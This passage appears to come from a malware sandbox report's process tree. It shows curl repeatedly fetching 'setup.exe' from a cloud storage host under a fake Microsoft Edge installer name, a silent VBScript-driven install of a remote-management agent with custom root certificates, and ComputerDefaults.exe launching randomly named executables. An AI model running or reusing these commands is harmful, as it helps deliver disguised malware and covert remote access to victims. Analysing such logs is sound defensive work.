                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:6692
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                  PID:6860
                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\LBsmELxMxLGJUDlKtEDGXNHlxFKIcBCX.MjA\HbMHZvpEJDjTFReLjWzeAOktiWFkxAti.nvN.exe
                                                                                                                                                                                                                                                                                                                    "HbMHZvpEJDjTFReLjWzeAOktiWFkxAti.nvN.exe"
                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                      PID:6960
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:7060
                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX6\SetUP.VBS"
                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                      PID:6012
                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX6\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX6\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX6\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX6\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX6\Agentinstalllog.txt"
                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                          PID:2088
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:7160
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX7\SetUP.VBS"
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                          PID:6684
                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX7\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX7\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX7\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX7\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX7\Agentinstalllog.txt"
                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                              PID:5960
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:6524
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:4056
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:4536
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:5856
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:2956
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                    /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:5892
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                          PID:5840
                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\XssdVTDXiDtnmwWahRKPeiVDxswgUHJh.UQT\aDmARUGVqTnIVIiWhhjPKVnBNsRieeHZ.WQP.exe
                                                                                                                                                                                                                                                                                                                                            "aDmARUGVqTnIVIiWhhjPKVnBNsRieeHZ.WQP.exe"
                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                              PID:6308
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                          /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:6452
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                PID:5036
                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\XssdVTDXiDtnmwWahRKPeiVDxswgUHJh.UQT\aDmARUGVqTnIVIiWhhjPKVnBNsRieeHZ.WQP.exe
                                                                                                                                                                                                                                                                                                                                                  "aDmARUGVqTnIVIiWhhjPKVnBNsRieeHZ.WQP.exe"
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                    PID:5524
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:6824
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                      PID:6988
                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\XssdVTDXiDtnmwWahRKPeiVDxswgUHJh.UQT\aDmARUGVqTnIVIiWhhjPKVnBNsRieeHZ.WQP.exe
                                                                                                                                                                                                                                                                                                                                                        "aDmARUGVqTnIVIiWhhjPKVnBNsRieeHZ.WQP.exe"
                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                          PID:7048
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:6832
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                            PID:7000
                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\XssdVTDXiDtnmwWahRKPeiVDxswgUHJh.UQT\aDmARUGVqTnIVIiWhhjPKVnBNsRieeHZ.WQP.exe
                                                                                                                                                                                                                                                                                                                                                              "aDmARUGVqTnIVIiWhhjPKVnBNsRieeHZ.WQP.exe"
                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                PID:7056
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1188
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:2904
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX8\SetUP.VBS"
                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                  PID:6476
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX8\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX8\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX8\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX8\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX8\Agentinstalllog.txt"
                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:4700
                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:6340
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX9\SetUP.VBS"
                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                      PID:1156
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX9\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX9\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX9\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX9\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX9\Agentinstalllog.txt"
                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:6836
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4796
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:6628
                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\eCIUkHIUzMFsglXReNcHCxOQjMKMSTmO.bKw\EkxmqETEdbzeiRYsUvYwoBXxHuCFzvEt.dMP.exe
                                                                                                                                                                                                                                                                                                                                                                              "EkxmqETEdbzeiRYsUvYwoBXxHuCFzvEt.dMP.exe"
                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:6772
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                            /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:6464
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:3012
                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\eCIUkHIUzMFsglXReNcHCxOQjMKMSTmO.bKw\EkxmqETEdbzeiRYsUvYwoBXxHuCFzvEt.dMP.exe
                                                                                                                                                                                                                                                                                                                                                                                    "EkxmqETEdbzeiRYsUvYwoBXxHuCFzvEt.dMP.exe"
                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:2828
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                  /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:6640
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:4080
                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\eCIUkHIUzMFsglXReNcHCxOQjMKMSTmO.bKw\EkxmqETEdbzeiRYsUvYwoBXxHuCFzvEt.dMP.exe
                                                                                                                                                                                                                                                                                                                                                                                          "EkxmqETEdbzeiRYsUvYwoBXxHuCFzvEt.dMP.exe"
                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:6308
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:6220
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:1576
                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\eCIUkHIUzMFsglXReNcHCxOQjMKMSTmO.bKw\EkxmqETEdbzeiRYsUvYwoBXxHuCFzvEt.dMP.exe
                                                                                                                                                                                                                                                                                                                                                                                                "EkxmqETEdbzeiRYsUvYwoBXxHuCFzvEt.dMP.exe"
                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:464
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                              /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:6172
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4048
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\eCIUkHIUzMFsglXReNcHCxOQjMKMSTmO.bKw\EkxmqETEdbzeiRYsUvYwoBXxHuCFzvEt.dMP.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "EkxmqETEdbzeiRYsUvYwoBXxHuCFzvEt.dMP.exe"
                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:6800
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:6196
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:6680
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1664
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\nEVRMPirGmMhgpRluNBqkbdRwvkGJLql.LZA\unvGsoArFBfNfqKhCDXqxiWSHmegOmPl.cSt.exe
                                                                                                                                                                                                                                                                                                                                                                                                              "unvGsoArFBfNfqKhCDXqxiWSHmegOmPl.cSt.exe"
                                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:6924
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                            /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2484
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2056
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\nEVRMPirGmMhgpRluNBqkbdRwvkGJLql.LZA\unvGsoArFBfNfqKhCDXqxiWSHmegOmPl.cSt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "unvGsoArFBfNfqKhCDXqxiWSHmegOmPl.cSt.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6580
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2572
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4384
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\nEVRMPirGmMhgpRluNBqkbdRwvkGJLql.LZA\unvGsoArFBfNfqKhCDXqxiWSHmegOmPl.cSt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          "unvGsoArFBfNfqKhCDXqxiWSHmegOmPl.cSt.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7028
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6920
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6768
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\nEVRMPirGmMhgpRluNBqkbdRwvkGJLql.LZA\unvGsoArFBfNfqKhCDXqxiWSHmegOmPl.cSt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "unvGsoArFBfNfqKhCDXqxiWSHmegOmPl.cSt.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6492
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3848
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7132
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6488
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6480
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1572
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4680
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3352
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4860
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\gGQtJejzekamZfqCadYDiZfGcmdQJJGt.wTo\hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  "hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6404
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1784
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5056
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\gGQtJejzekamZfqCadYDiZfGcmdQJJGt.wTo\hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        "hPmZvfSBlJOgPfKgRsnBdWdTzyeHlCRe.Fjx.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5852
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
